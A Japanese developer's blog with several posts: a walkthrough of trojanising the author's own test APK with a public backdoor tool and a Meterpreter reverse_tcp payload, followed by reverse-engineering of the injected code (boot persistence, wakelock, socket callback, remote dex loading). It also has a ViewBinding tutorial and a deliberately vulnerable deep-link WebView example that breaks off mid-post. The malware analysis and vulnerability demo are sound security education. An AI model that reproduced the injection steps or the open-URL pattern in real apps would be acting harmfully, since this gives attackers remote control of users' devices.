daiki0508'足跡

BackDoorAPK解析してみた

BackDoorAPK解析してみた

ネットサーフィンをしていたら既存のAPKファイルにmaliciousなコードを挿入できるプログラムを見つけました。

そこで、実際にどのような動作をするのかと、どのようなコードが挿入されることで悪意ある動作を引き起こすのかを知りたくなったので実際に調査することにしました。

目次

注意事項

これから行うことは全てあくまで教育目的であり、悪意ある目的で行わないでください。

それによってどのような被害が発生しても私は責任を負いかねます。

筆者の環境

事前準備

実際にAPKにmaliciousなコードを挿入する前にやっておくことが複数あるので行います。

挿入するAPKの作成

実際に既に存在するAPKに対してmaliciousなコードを挿入しても良いのですが、今回は挿入した後にReversingを行いたいので実際に自分で専用のAPKを新規に作成した方が後々やりやすいでしょう。

そんなわけでさくっと最低限の処理だけを行うアプリを作成しました。

f:id:daiki0508:20211223064151p:plain

DI等のModuleは使用していますが、処理自体はHello World!という文字列を表示するだけのAPKです。

今回、compileSdkやtargetSdkは以下のようにしました。

android {
    compileSdk 31

    defaultConfig {
        applicationId "com.websarva.wings.android.backdoorapk"
        minSdk 16
        targetSdk 30
        versionCode 1
        versionName "1.0"

        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
    }

    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
        }
    }
// ...
}

続いてManifestなのですが、私はここでとある記述が不足していたためにmaliciousなコードを挿入するプログラムが正常に動作しないという問題に陥ったので注意してください。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.websarva.wings.android.backdoorapk">

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!--
...
 -->
</manifest>

<uses-permission>というタグは必ず記述するようにしてください。(追加する権限は何でもいいです)

調べた感じだと、このタグを認識することで挿入するコードに適した権限をここに自動で追記していくようなので...。

後はreleaseビルドで署名してエクスポートすれば使用するAPKの準備は終了です。

malisiousなコードを挿入するプログラムのダウンロード

私の場合はリアルワールドに似せたかったので、実際にKaliサーバーを立ててこれ以降の操作を行いました。

既存のAPKにmaliciousなコードを挿入するプログラムがgithub上で公開されていたのでますはそのリポジトリをcloneします。

ここではURLは公開しなので、興味のある人はDana James Traversie, backdoor-apk, githubといった感じで検索して探してください。

f:id:daiki0508:20211223064154p:plain

必要ライブラリのインストール

どうやら必要なライブラリが複数あるようなので、必要に応じて以下のライブラリを適宜インストールしてください。

・lib32z1 (apt install)
・lib32ncurses6 (apt install)
・lib32stdc++6 (apt install)
・msfvenom (kaliならdefault)
・baksmali (apt install)
・unzip (apt install)
・keytool (apt install)
・jarsigner (apt install)
・apktool (https://ibotpeaches.github.io/Apktool/install/)

実践

ここからは実際に先ほど作成したAPKとダウンロードしたプログラムを使いmaliciousなコードを挿入してみましょう。

maliciousなコードをAPKに挿入する

このbackdoor-apk.shがmaliciousなコードを挿入するプログラム(以下、スクリプト)になります。

この際、挿入対象のAPKは必ず下記の画像の様にスクリプトと同じ階層に配置してください。

f:id:daiki0508:20211223064205p:plain

後は以下の様にスクリプトを実行するだけです。

root# ./backdoor-apk.sh BackDoorAPK.apk

途中に攻撃をListenするIPアドレスやポート、通信形式を聞かれるので任意に選択してください。

今回私はreverse_tcpを選択してAndroidManifest.xmlに関しては自動で追記するように設定しました。

エミュレータの場合はhttphttpsの方を選ぶのをお勧めします。

________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: x.x.x.x
[?] Please enter an LPORT value: xxx
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Decompiling original APK file...done.
[*] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/websarva/wings/android/backdoorapk
[+] Smali file to hook RAT payload: com/websarva/wings/android/backdoorapk/di/Application.smali
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Injecting helpful Java classes in RAT APK file...done.
[*] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/websarva/wings/android/backdoorapk/ikokd
[+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym
[+] Generated new smali class name for MainService.smali: Aupyx
[+] Generated new smali class name for Payload.smali: Nwiuc
[+] Generated new smali class name for StringObfuscator.smali: Abnrw
[+] Generated new smali method name for StringObfuscator.obfuscate method: icobf
[+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.

スクリプトがエラー無く、最後まで実行されると成功です。

maliciousなコードが挿入されたAPKはoriginal/distに作成され、metasploitと通信するためのスクリプトbackdoor-apk.rcというファイル名で作成されています。

f:id:daiki0508:20211223064215p:plain

動作確認

実際に端末にmaliciousなコードが挿入されたAPKをインストールして動作を確認してみます。

注意:セキュリティ的観点から動作検証が終わった後は、インストールしたAPKファイルを端末からアンインストールすることを強く推奨します。

metasploitをbackdoor-apk.rcをオプションに指定して起動しましょう。

root# ./msfconsole -r backdoor-apk.rc

f:id:daiki0508:20211223064225p:plain

この状態になるとパケットが飛んでくるのを待つListen状態になります。

続いて端末にAPKをインストールして起動してみましょう。

f:id:daiki0508:20211223064235p:plain

表面上の処理は何も変わっていないように思えますね。

しかし実際はこの時点でmaliciousなコードが実行されています。

その証拠に先ほどのmetasploitの画面を見てみましょう。

f:id:daiki0508:20211223064239p:plain

metasploitの方にパケットが飛んできているのを確認できます。

後はsessionsコマンドを実行すればshellを取得できます。

msf6 exploit(multi/handler) > session 1
meterpreter > 

実行できるコマンド集は以下のリンクで記載されているのでぜひ試してみてください。

blog.nviso.eu

備考:Android6.0以降では権限の確認の仕様が変更となり、一部の権限はコード上に特殊な処理を記述しないとたとえAndroidmanifestに権限を記述していても無効となるように変更されました。そのため、一部のコマンドは正常に動作しない可能性があります。

解析

先ほどまでは実際に実行して動作を確認したので、今度はどのようなコードが挿入されることでこのようなことが可能になっているのかをReversingすることで解明していきたいと思います。

考察

いきなり解析作業に入ってもいいのですが、その前に開発者的視点から少し考察してみます。

その方が処理を把握しやすいので。

  • アプリがbackground状態になってもshellを取得できている。
    • serviceが動いているのではないか。
  • 端末をスリープモードにしてもshellが取れている。
    • Wakelock系統の設定が行われている可能性がある。

これらのことを踏まえたうえで解析作業を行っていきましょう。

解析作業

ツールは基本的に以下の物を使用します。

・jadx-gui (https://github.com/skylot/jadx)
・Android Studio
・apkx (https://github.com/b-mueller/apkx)

まずjadx-guiにはコメントを書く機能等は存在しないため、apkxAndroid Studioを用いて適宜コメントを残してReversingがしやすいようにします。

$ apkx BackDoorAPK.apk

上記のコマンドを実行するとAPKがデコンパイルされて、新しくフォルダとして生成されるのでその中のsrc/packageNameをコピーしてAndroid Studiojavaディレクトリ直下にペーストします。

私の環境では以下のようになります。

以降はここにコメント等を書いて処理を把握しやすくしましょう。

f:id:daiki0508:20211223064249p:plain

それではjadx-guiに改ざんされたAPKをロードさせて本格的な解析作業に入ります。

まず、Manifestを見てみます。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.websarva.wings.android.backdoorapk" platformBuildVersionCode="31" platformBuildVersionName="12">
        <!-- 
           ...
        -->
    <application android:theme="@style/Theme.BackDoorAPK" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.websarva.wings.android.backdoorapk.di.Application" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
                <!-- 
                ...
               -->
        <receiver android:name="com.websarva.wings.android.backdoorapk.fxldo.Rthat">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <service android:name="com.websarva.wings.android.backdoorapk.fxldo.Tqnln" android:exported="true"/>
    </application>
</manifest>

重要な部分だけを抜き出してみました。

やはり考察通りに<service>タグでserviceクラスが挿入されていますね。

serviceクラスは以下のようなコードで成り立っています。

f:id:daiki0508:20211223064252p:plain

ちなみにですが、このTqnlnクラスのFindUsageを見てみるとstartメソッドがdi.Applicationで呼び出されていることが分かります。

備考ですが、追加されたmaliciousなクラス名は毎回(生成する度に)変わります。

di.Applicationは私がAPK作成時にモジュールの関係で予め作成しておいたクラスです。

// ...

@Metadata(d1 = {"\u0000\u0012\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0003\u001a\u00020\u0004H\u0016¨\u0006\u0005"}, d2 = {"Lcom/websarva/wings/android/backdoorapk/di/Application;", "Landroid/app/Application;", "()V", "onCreate", "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = 48)
@HiltAndroidApp
/* compiled from: Application.kt */
public final class Application extends Hilt_Application {
    public Application() {
        Tqnln.start();
    }

    @Override // com.websarva.wings.android.backdoorapk.di.Hilt_Application
    public void onCreate() {
        super.onCreate();
    }
}

コードを見るとApplicationクラスのコンストラクタでTqnln.start()が呼び出されています。

つまりアプリを起動した時点でmaliciousな処理が走る原因はここということになります。

引き続きTqnlnクラスを見ていきます。

するとmethod変数に代入されるforNamegetMethodの引数が暗号化されているように感じます。

Method method = Class.forName(Xfxbq.mppcg("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ")).getMethod(Xfxbq.mppcg("xPMCeRNBkNjD6UwLrz+BZVCdizq4OKBKpECFeYxAtKNKoQ=="), new Class[0]);

Xfxbq.mppcgメソッドを見て処理を確認しましょう。

f:id:daiki0508:20211223065046p:plain

案の定、文字列がAESで暗号化されていてmppcgメソッドはそれを復号化するメソッドのようです。

カギに関する情報も全てハードコードされている様なので簡単に復号化できそうなので、複合化するプログラムをささっと作りました。

public class AESDecrypt {
    public static void main(String[] args) throws Exception {
        byte[] DECODED_KEY = Base64.getDecoder().decode("OYpcB+Vi8ha02y4OOrUUdA==".getBytes("UTF-8"));

        byte[] cipherText = Base64.getDecoder().decode("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ".getBytes("UTF-8"));
        Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding");
        SecretKeySpec secKeySpec = new SecretKeySpec(DECODED_KEY, "AES");
        byte[] iv = new byte[16];
        System.arraycopy(cipherText, 0, iv, 0, iv.length);
        IvParameterSpec ivParamSpec = new IvParameterSpec(iv);
        byte[] encryptedBytes = new byte[cipherText.length - iv.length];
        System.arraycopy(cipherText, iv.length, encryptedBytes, 0, encryptedBytes.length);
        
        cipher.init(Cipher.DECRYPT_MODE, secKeySpec, ivParamSpec);

        System.out.println(new String(cipher.doFinal(encryptedBytes), "UTF-8"));
    }
}

ちなみに今回はforNameの方がandroid.app.ActivityThreadgetMethodの方がcurrentApplicationでした。

そしてstartServiceが呼び出されてサービスが開始されます。

serviceが開始されるとonStartCommandが呼び出されます。

public int onStartCommand(Intent intent, int i, int i2) {
    Jqpjx.start(this);
    return 1;
}

onStartCommnadではJqpjx.startが呼び出されています。

f:id:daiki0508:20211223065035p:plain

startメソッドでは同クラス内のメソッドであるstartInPathメソッドがアプリの内部ストレージファイルのパスを引数にして呼び出されています。

private static final byte[] a = {4, 0, 0, 0, 0, 0, 0, ...}
// ...
private static Object[] h;
// ...
public static void startInPath(String str) {
    h = new Object[]{str, a};
    new e().start();
}

そしてObject配列hにパスとバイト配列が代入されてe().startが呼び出されています。

e()はThreadなのでrun()メソッドが呼ばれていることと同義です。

f:id:daiki0508:20211223065038p:plain

run()メソッドではJqpjx.main(null)が呼び出されています。

a a2 = b.a(a);
if (a2.d != null && !a2.d.isEmpty()) {
    if ((a2.a & 4) == 0 || b == null) {
        wakeLock = null;
// ...

b.aメソッドの引数には先ほどのObject配列h[1]に代入されていたbyte配列aが用いられて、その戻り値によってこの先の処理がかなり変化しそうなのでb.aメソッドを詳しく見てみます。

f:id:daiki0508:20211223065042p:plain

かなり面倒くさそうなデータの復号化の様な処理が記述されていますね...。

ただこちらも、頑張って復号化プログラムを書けば問題なさそうな予感もするのでとりあえず書いてみました。

// ...

public class decodeCipher {
    private static int a(byte[] bArr, int i) {
        int i2 = 0;
        for (int i3 = 0; i3 < 4; i3++){
            i2 |= (bArr[i3 + i] & 255) << (i3 << 3);
        }
        return i2;
    }

    public static void main(String[] args) {
        byte[] bArr = new byte[]{4, 0, 0, 0, 0, ....};

        a aVar = new a();
        aVar.a = a(bArr, 0);
        aVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, 12));
        b(bArr, 16, 16);
        b(bArr, 32, 16);
        int i = 48;
        if((aVar.a & 1) != 0){
            aVar.c = a(bArr, 8000, 100);
        }
        while(bArr[i] != 0){
            g gVar = new g();
            gVar.a = a(bArr, i, 512);
            int i2 = i + 512 + 4;
            gVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i2));
            int i3 = i2 + 4;
            gVar.c = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i3));
            i = i3 + 4;
            if(gVar.a.startsWith("http")){
                a(bArr, i, 128);
                int i4 = i + 128;
                a(bArr, i4, 64);
                int i5 = i4 + 64;
                a(bArr, i5, 64);
                int i6 = i5 + 64;
                gVar.d = a(bArr, i6, 256);
                int i7 = i6 + 256;
                gVar.e = null;
                byte[] b = b(bArr, i7, 20);
                int i8 = i7 + 20;
                int i9 = 0;
                while(true){
                    if(i9 >= b.length){
                        break;
                    }else if(b[i9] != 0){
                        gVar.e = b;
                        break;
                    }else {
                        i9++;
                    }
                }
                StringBuilder sb = new StringBuilder();
                int length = bArr.length;
                for(int i10 = i8; i10 < length; i10++){
                    byte b2 = bArr[i10];
                    if(b2 == 0){
                        break;
                    }
                    sb.append((char) (b2 & 255));
                }
                String sb2 = sb.toString();
                gVar.f = sb2;
                i = sb2.length() + i8;
            }
            aVar.d.add(gVar);
        }
        aVar.println();
        g gVar = (g) aVar.d.get(0);
        gVar.println();
    }

    private static String a(byte[] bArr, int i, int i2){
        byte[] b = b(bArr, i, i2);
        try{
            return new String(b, "ISO-8859-1").trim();
        } catch(UnsupportedEncodingException e){
            return new String(b).trim();
        }
    }

    private static byte[] b(byte[] bArr, int i, int i2){
        byte[] bArr2 = new byte[i2];
        System.arraycopy(bArr, i, bArr2, 0, i2);
        return bArr2;
    }
}

final class a {
    int a;
    long b;
    String c;
    List d = new LinkedList();

    void println(){
        System.out.println("a.a: " + a);
        System.out.println("a.b: " + b);
        System.out.println("a.c: " + c);
    }
}

final class g {
    String a;
    long b;
    long c;
    String d;
    byte[] e;
    String f;

    void println(){
        System.out.println("g.a: " + a);
        System.out.println("g.b: " + b);
        System.out.println("g.c: " + c);
        System.out.println("g.d: " + d);
        System.out.println("g.f: " + f);
    }
}

maliciousなコードを挿入する際にreverse_tcpを選択した場合はg.a変数にtcp://x.x.x.x:xxxという形式で入力したIPアドレスとポートが表示されているのではないでしょうか。

元の処理(mainメソッド)に戻ると考察通りにWakelock系の設定があるのが確認できます。

} else {
    PowerManager.WakeLock newWakeLock = ((PowerManager) b.getSystemService(Xfxbq.mppcg("qO31ImUyuA3BnYqJTTe/k/0prmUw"))).newWakeLock(1, Jqpjx.class.getSimpleName());
    newWakeLock.acquire();
    wakeLock = newWakeLock;
}

暗号化された文字列はAESDecryptプログラムで復号化するとpowerになります。

また、getSystemService, power, newWakeLockでドキュメントを調べて、定数1で調べるとPARTIAL_WAKE_LOCKだとわかります。

PARTIAL_WAKE_LOCKを設定することでユーザが電源ボタンを押して、端末がスリープモードになったとしてもアプリがバックグラウンドで動作し続けることが可能になります。

gVar = (g) a2.d.get(0);
String str = gVar.a;
// ...
if (str.startsWith(Xfxbq.mppcg("KGsE4jDc7kzn3KfRSdl06H5Mcg=="))) { // tcp
    String[] split = str.split(Xfxbq.mppcg("pRDGnvj68J5dJhEPZRAtWJI=")); // :
    int parseInt = Integer.parseInt(split[2]);
    String str2 = split[1].split(Xfxbq.mppcg("7zi+5DRHYvHgeqUGG/8pyk8="))[2]; // /
    if (str2.equals(Xfxbq.mppcg("Rzq+IoCJz696k5yjqgV8ng=="))) { // blank(empty)
        ServerSocket serverSocket = new ServerSocket(parseInt);
        socket = serverSocket.accept();
        serverSocket.close();
    } else {
        socket = new Socket(str2, parseInt);
    }
    if (socket != null) {
        a(new DataInputStream(socket.getInputStream()), new DataOutputStream(socket.getOutputStream()), h);
    }
}

a2変数はb.aメソッドの戻り値で、g.aにはIPアドレスとポートが代入されていたことは今までの調査で判明しています。

そしてここでは、tcp://x.x.x.x.:xxxという文字列からIPアドレスとポート番号を抽出してソケットを作成して通信を行っています。

ソケットが無事に作成された場合にはaメソッドが呼ばれます。

この際のaメソッドの第3引数には前に出てきたObject配列hが渡されます。

aメソッドの処理を見ていきます。

String str = (String) objArr[0];
String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String str3 = str2 + Xfxbq.mppcg("oQKTcZFAQHkbvjzrBKsxz1izGU8="); // .jar
String str4 = str2 + Xfxbq.mppcg("FuY2icS3rdPbkeFLeYMgrA/vdo4="); // .dex
// ...
byte[] a2 = a(dataInputStream);
File file = new File(str3);
if (!file.exists()) {
    file.createNewFile();
}

str変数には内部ストレージのfilesディレクトリのパスが代入されます。

何か難しそうに書いてありますが、要するにpackageName/files/xxx.jarファイルを作成してるだけです。

String str5 = new String(a(dataInputStream));
byte[] a2 = a(dataInputStream);
// ...
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(a2);
fileOutputStream.flush();
fileOutputStream.close();

上記の部分で作成したファイルにソケット先から取得したdataを書き込んでいます。

Class loadClass = new DexClassLoader(str3, str, str, Jqpjx.class.getClassLoader()).loadClass(str5);
Object newInstance = loadClass.newInstance();
file.delete();
new File(str4).delete();
loadClas.getMethod(Xfxbq.mppcg("x7Xdyof9qxGVe3rKABF35SRwVj05"), DataInputStream.class, OutputStream.class, Object[].class).invoke(newInstance, dataInputStream, outputStream, objArr);

その後に動的ClassLoaderを用いて外部からダウンロードしたjarファイルのクラス内のメソッドを実行しています。

つまり、ここで任意の処理を実行できる余地が発生します。

ちなみに今回は解説しませんが、httpやhttpsの際の処理もやってることはほとんど変わりません。(User-Agent等をRequestで送信するといった処理はありますが)

おわりに

今回実際にmaliciousなコードを挿入されたAPKの動作確認と解析を行ってみましたが、最近の端末だと多少被害を抑えられるかなという感じでした。

現状でもリモート経由で追加のアプリのインストールやアプリの起動、外部ストレージの書き込みと読み取りぐらいはRootがなくても出来るので、あまり安心はしない方が良いですが..。

解析に関しては、今回の挿入されたコード自体がかなり簡単だと思ったので初心者には結構おすすめなのではないかなと思いました。

また、暗号化された文字列等についても私は別途プログラムを作成して復号化しましたが、Frida等を使えばもう少し楽だったのではないか?と後になって気が付きました...。


この記事はIPFactory Advent Calendar 2021の12月23日分です。

IPFactoryというサークルについてはこちらをご覧ください.

昨日12月22日はfutabato先輩による「MBSD Cybersecurity Challenges 2021 参加記」でした。

明日12月24日もfutabato先輩による「Machine Learning for Web Vulnerability Detection: The Case of Cross-Site Request Forgery」です。

お楽しみに。

ViewBinding使ってみた

少し前にViewModelとDataBinding、LiveDataを使うことで画面の回転が行われても生成したテキストが消えなくなる処理を実装していたのですが、DataBindingよりもViewBindingの方が使いやすくて簡単だという記事を見つけたので実装方法を紹介しようと思いました。

目次

筆者の環境

PC:Windows10
エミュレータ API:27
IDE:AndroidStudio 4.2.2
使用言語:Kotlin version 1.5.2

サンプルアプリ

今回はViewModelとViewBinding、LiveDataを用いて以下の様なとても簡単なサンプルアプリを作成します。

github.com

f:id:daiki0508:20210705110723p:plain

アプリ起動時はただボタンがあるだけ。

f:id:daiki0508:20210705110819p:plain

ボタンを押すと、Hello_World!!という文字列が画面に表示されるようになる。

f:id:daiki0508:20210705110908p:plain

勿論、画面を回転させてもHello_World!!という文字列が消えることは無く(リセットされる)、もう一度ボタンをタップする必要もない。

ViewBindingの導入

まずプロジェクトの(:app)に以下のコードを追記して必要な機能を使えるようにします。

android {
・・・
    buildFeatures {
        viewBinding true
    }
・・・
}
dependencies {
    // 今回はViewModelとLiveDataも同時に使うのでここも追記
    implementation 'androidx.lifecycle:lifecycle-livedata-ktx:2.3.1'
    implementation 'androidx.lifecycle:lifecycle-viewmodel-ktx:2.3.1'
}

レイアウトファイル

レイアウトについては詳しく説明する必要もないと思うので。

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#dfe"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:textSize="30sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="表示する"
        android:layout_marginTop="20dp"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView" />

</androidx.constraintlayout.widget.ConstraintLayout>

ViewModel

ViewModel はアクティビティやフラグメントに対するデータ置き場の役割を担います。

また、画面回転やウィンドウのサイズが変更されると、アクティビティやフラグメントインスタンスは再生成されますが、この ViewModel はインスタンスが保持されるという特徴を持っています。

class MyViewModel: ViewModel() {
    private val _hello = MutableLiveData<String>().apply {
        MutableLiveData<String>()
    }

    init {
        _hello.value = ""
    }

    fun setText(){
        _hello.postValue("Hello_World!!")
    }

    fun hello(): MutableLiveData<String>{
        return _hello
    }
}

_hello

_helloはViewModel内部のみで使えるprivateメンバで、後述するsetText()メソッドhello()メソッドで使われます。
また、最初はinitで空文字によって初期化されています。

setText()

見ての通り、Hello_World!!という文字列をprivateなメンバである_helloメンバに代入しています。
セッターの様な役割を果たしていると思って構いません。

hello()

privateなメンバであるhelloの値を呼び出し元に返す処理です。
所謂、ゲッターです。

MainActivity

ここでようやく、今回のテーマであるViewBindingをふんだんに使っていきます。

class MainActivity : AppCompatActivity() {
    private val myViewModel: MyViewModel by lazy {
        ViewModelProvider(this).get(MyViewModel::class.java)
    }
    private lateinit var binding: ActivityMainBinding

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        binding = ActivityMainBinding.inflate(layoutInflater).apply {
            setContentView(this.root)
        }

        myViewModel.hello().observe(this, {
            binding.textView.text = myViewModel.hello().value
        })

        binding.button.setOnClickListener {
            myViewModel.setText()
        }
    }
}

myViewModel

ViewModelのインスタンスを取得している処理と思ってもらえれば大丈夫です。
onCreate以降ではこのインスタンスからViewModel内に定義したメソッドやメンバに対してアクセスできます。

binding

ここが今回のテーマであるViewBindingのメンバになるのですが、戻り値がActivityMainBindingとなっています。
今回はActivityでBindingを定義しているのでActivityMainBindingですが、もしこれがSubActivityで定義される場合にはSubActivityBindingという戻り値になるため注意が必要です。

またViewBindingを使うまでonCreateで記述されていたsetContentView(R.layout.activity_main)という処理は不要になり、代わりに

binding = ActivityMainBinding.inflate(layoutInflater).apply {
    setContentView(this.root)
}

という処理になります。

ViewBindingを用いると、今まで記述していたfindViewByIdといった記述が不要になり、「binding.ViewのID名」になることが最大のメリットです!

observe

observe・・・つまり監視する処理です。
ViewModelで定義した_helloメンバの値がsetText()によって更新され、hello()の戻り値が更新されるとその更新された値をレイアウトファイルで設定したTextViewに対してセットします。

まとめ

どうでしたか?
DataBindingと比べるとかなり容易に実装出来たのではないでしょうか?

実は更にMainActivityに記述する処理が減らすことができて、個人開発ならともかく複数人で開発しているアプリ等なら更に利便性が向上するライブラリもあったりするのですが、それはまた今度…。

参考・引用

https://blog.mokelab.com/21/arch.html

Androidアプリのアクセス制御不備の脆弱性 In Kotlin

2021/6/25にLACの社内ブログより以下の記事が公開された。

www.lac.co.jp

この記事ではAndroidアプリの「アクセス制御不備」の中のディープリンクを使用してリクエストされた、任意のURLにアクセスしてしまう脆弱性についてJavaで解説されています。

なので私はこの記事を参考にKotlin版を解説していこうと思います。

目次

ディープリンクとは

モバイルアプリにおけるディープリンクとは主に、あるウェブページから他のウェブサイトのトップページ以外の各コンテンツに直接ハイパーリンクを張ったり、他のアプリから特定のリンクを使うことで、アプリの特定コンテンツを呼び出すことが出来るリンクのことです。

筆者の環境

PC:Windows10
エミュレータ API:27
IDE:AndroidStudio4.2.1
使用言語:Kotlin version 1.5.2
Tool:adb(Android Debug Bridge)

脆弱性の実践

ここからは実際にコードを書いて脆弱なディープリンクの実装と実践を行います。
(※注意:これから実装するコードを用いたアプリを実機にインストールするのは危険ですので、必ずエミュレータ等の環境でお試しください。実機にインストールすることで何らかの不利益が生じたとしても筆者は一切の責任を負いかねます。)

今回実装する脆弱なコードの全文はこちらにあります。

Androidディープリンクの実装

まず今回のサンプルアプリを起動すると、以下のような画像のアクティビティが起動します。

f:id:daiki0508:20210625174832p:plain

そしてアクティビティをもう一つ作りますが、そのアクティビティはディープリンクでのみ起動すると仮定して、MainActivityからの遷移は実装しません。

そしてAndroidManifest.xmlに下記のコードを記述することでディープリンクを実装できます。

<activity android:name=".WebViewActivity" >
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
                <data
                    android:host="webview"
                    android:scheme="daiki0508" />
            </intent-filter>
</activity>

webサイトからのアクティビティ起動

次に、アプリの起動手段のテストとして簡単にブラウザからアプリを起動させてみましょう。
(※adbの環境がある人はここは流し読みでも大丈夫です。)

ちなみに、HTMLコードは以下のような感じでOKです。

<!DOCTYPE html>
<html lang="ja">
    <head>
        <meta charset="utf-8">
        <title>VulnDeepLink</title>
    </head>
    <body>
        <h1>Hello World!!</h1>
        <p><a href="lacapp://webview/DeepLink">リンクはこちら!!</a></p>
    </body>
</html>

後はこのコードをxampの様なツールでapacheを起動してlocalhostでアクセスしましょう。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)

f:id:daiki0508:20210625182502p:plain

そしてリンクはこちら!!をクリックするとアプリが起動して以下のアクティビティが表示されるはずです。

f:id:daiki0508:20210625175831p:plain

adbを利用したアクティビティ起動

次に、adbを使用してアクティビティを起動してみます。

adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/DeepLink

成功すると、以下の様なアクティビティが起動すると思います。

f:id:daiki0508:20210625175831p:plain

アクセス制御不備の脆弱性の実装

今回のテーマであるディープリンクを使用してリクエストされた、任意のURLにアクセスしてしまう脆弱性は主に、WebViewと同時に実装されている場合に起こる可能性が高いです。

そして以下が脆弱性のある実装です。

class WebViewActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_web_view)

        val webView = findViewById<WebView>(R.id.webView)
        val uri = intent.data
        val query = uri?.getQueryParameter("data")
        webView.loadUrl(query!!)
    }
}

この処理でやってることは簡単です。

1. WebViewActivity起動時にIntentを取得
2. その際にURL情報から「data」というクエリパラメータを取得
3. 2で受け取ったクエリパラメータをWebViewで表示

ブラウザからの正規なアクティビティ呼び出し

まずは、開発者が想定しているサイトをWebViewで表示させられるかをブラウザからアプリを起動してテストしましょう。
ちなみに、開発者が想定する表示サイトは「HatenaBlog」の公式サイトとしましょう。
(※adbの環境がある人はここは軽く読むだけで大丈夫です)

HTMLコードは以下のような感じでOKです。

<!DOCTYPE html>
<html lang="ja">
    <head>
        <meta charset="utf-8">
        <title>VulnDeepLink</title>
    </head>
    <body>
        <h1>Hello World!!</h1>
        <p><a href="daiki0508://webview/index?data=https://developer.android.com/?hl=ja">リンクはこちら!!</a></p>
    </body>
</html>

実際にこのコードをxampの様なツールでapacheを起動してlocalhostでアクセスした後にリンクはこちら!!をタップしてください。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)

f:id:daiki0508:20210625193903p:plain

ブラウザからの不正なアクティビティ呼び出し

続いて、以下の様なHTMLコードを記述してください。
(※adbの環境がある人はここは軽く読むだけで大丈夫です)

<!DOCTYPE html>
